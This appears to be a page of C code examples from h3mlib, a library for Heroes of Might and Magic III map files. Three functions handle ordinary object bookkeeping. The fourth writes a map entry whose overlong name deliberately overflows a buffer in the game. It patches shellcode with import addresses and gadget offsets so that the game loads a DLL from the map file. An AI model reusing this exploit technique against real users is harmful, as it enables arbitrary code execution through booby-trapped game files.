Exemple #1
0
int h3m_add_oa_by_def(h3mlib_ctx_t ctx, const char *def, int *oa_index)
{
    struct H3M_OA_ENTRY *oa_entry = NULL;
    struct META_OA_HASH_ENTRY *oa_hash_entry = NULL;
    const struct H3M_OA_BODY *body = NULL;
    int oa_body_index = 0;

    if (NULL == (body = h3m_get_def_body(def, &oa_body_index))) {
        return 1;
    }

    *oa_index = ctx->h3m.oa.count++;
    ctx->h3m.oa.entries = realloc(ctx->h3m.oa.entries,
        sizeof(struct H3M_OA_ENTRY) * ctx->h3m.oa.count);
    oa_entry = &ctx->h3m.oa.entries[ctx->h3m.oa.count - 1];

    oa_entry->header.def_size = strlen(def);
    oa_entry->header.def = (uint8_t *)strdup(def);
    memcpy(&oa_entry->body, body, sizeof(struct H3M_OA_BODY));

    oa_hash_entry = calloc(1, sizeof(*oa_hash_entry));
    oa_hash_entry->def = strdup(def);
    oa_hash_entry->oa_body_index = oa_body_index;
    oa_hash_entry->oa_index = *oa_index;
    HASH_ADD_INT(ctx->meta.oa_hash, oa_body_index, oa_hash_entry);

    return 0;
}
Exemple #2
0
int h3m_object_add_by_def(h3mlib_ctx_t ctx, const char *def, int x, int y,
    int z, int *od_index)
{
    struct META_OA_HASH_ENTRY *oa_hash_entry = NULL;
    int oa_index = 0;
    int oa_body_index = 0;

    // Currently oa_body_index is used as key in the
    // oa hash... The current code is a bit unoptimal as if this function
    // ends up calling h3m_add_oa_by_def below, an additional
    // hash lookup for this hash inside that function will be performed.
    if (NULL == h3m_get_def_body(def, &oa_body_index)) {
        return 1;
    }
    // if oa for this object has not yet been added to map, add it,
    // otherwise use the existing oa_index for the oa
    HASH_FIND_INT(ctx->meta.oa_hash, &oa_body_index, oa_hash_entry);
    if (NULL == oa_hash_entry) {
        h3m_add_oa_by_def(ctx, def, &oa_index);
    } else {
        oa_index = oa_hash_entry->oa_index;
    }

    return h3m_add_od(ctx, oa_index, x, y, z, od_index);
}
Exemple #3
0
int h3m_get_oa_index(h3mlib_ctx_t ctx, const char *def, uint32_t *oa_index)
{
    struct META_OA_HASH_ENTRY *oa_hash_entry = NULL;
    int oa_body_index = 0;

    if (NULL == h3m_get_def_body(def, &oa_body_index)) {
        return 1;
    }

    HASH_FIND_INT(ctx->meta.oa_hash, &oa_body_index, oa_hash_entry);
    if (NULL != oa_hash_entry) {
        *oa_index = oa_hash_entry->oa_index;
        return 0;
    }

    return 1;
}
Exemple #4
0
int h3m_code_write_oa_eof_jmp(struct H3M_CODE *hc, uint32_t oa_count, uint32_t od_count, FILE * f)
{
    struct H3M_OA_ENTRY oa_entry = { 0 };
    struct shellcode_oa_jmp_to_dll_load_t *shellcode_oa = NULL;
    const struct H3M_OA_BODY *sign_body = NULL;
    uint32_t def_size = 0;
    uint8_t initial_nul[7] = { 0 };
    const char SIGN_DEF[] = "avxsndg0.def";

    assert(sizeof(SHELLCODE_OA_JMP_TO_DLL_LOAD) == sizeof(*shellcode_oa));

    // IAT values not retrieved for demo target, so demo target is currently not supported here
    if (0 != hc->target && 1 != hc->target) {
        return 1;
    }

    const struct offsets_t *const ofs = TARGET_OFFSETS[hc->target];
    const struct iat_t *const iat = TARGET_IATS[hc->target];

    // Write an OA entry for sign object, to use it to make map valid in both map editor and game
    def_size = sizeof(SIGN_DEF)-1;
    fwrite(&def_size, 1, sizeof(uint32_t), f);
    fwrite(SIGN_DEF, 1, sizeof(SIGN_DEF)-1, f);
    sign_body = h3m_get_def_body(SIGN_DEF, NULL);
    fwrite(sign_body, 1, sizeof(*sign_body), f);

    // Write an OA entry whose def name causes a buffer overflow executing shellcode to jmp to eof shellcode

    // Initial 7 bytes: null term, then 2 unused, then 4 that gets trashed
    def_size = 7 + sizeof(SHELLCODE_OA_JMP_TO_DLL_LOAD);
    fwrite(&def_size, 1, sizeof(def_size), f);
    fwrite(initial_nul, 1, sizeof(initial_nul), f);

    // Save offset of this shellcode so it can be adjusted later
    hc->shellcode_oa_offset = ftell(f);

    // Construct & write shellcode in OA def name
    shellcode_oa = malloc(sizeof(*shellcode_oa));
    memcpy(shellcode_oa, SHELLCODE_OA_JMP_TO_DLL_LOAD,
        sizeof(SHELLCODE_OA_JMP_TO_DLL_LOAD));
    shellcode_oa->CreateFileA = iat->CreateFileA;
    shellcode_oa->ReadFile = iat->ReadFile;
    shellcode_oa->SetCurrentDirectoryA = iat->SetCurrentDirectoryA;
    shellcode_oa->VirtualAlloc = iat->VirtualAlloc;
    shellcode_oa->call_esp_gadget = ofs->call_esp_gadget;
    shellcode_oa->anticrash_gadget1 = ofs->anticrash_gadget1;
    shellcode_oa->anticrash_gadget2 = ofs->anticrash_gadget2;
    fwrite(shellcode_oa, 1, sizeof(*shellcode_oa), f);

    // For the OA body, put data that makes map editor satisfied by being a valid OA body, while it makes the game
    // satisfied by being a valid start of OD section
    memcpy(&oa_entry.body, MAPED_VALIDATION, sizeof(MAPED_VALIDATION));
    ((struct H3M_OD *)(&oa_entry.body))->count = od_count + 1;
    ((struct H3M_OD_ENTRY *)(((uint8_t *)& oa_entry.body) +
        4))->header.oa_index = oa_count;
    fwrite(&oa_entry.body, 1, sizeof(MAPED_VALIDATION), f);

    if (NULL != hc->shellcode_oa) {
        free(hc->shellcode_oa);
        hc->shellcode_oa = NULL;
    }
    hc->shellcode_oa = (uint8_t *)shellcode_oa;

    return 0;
}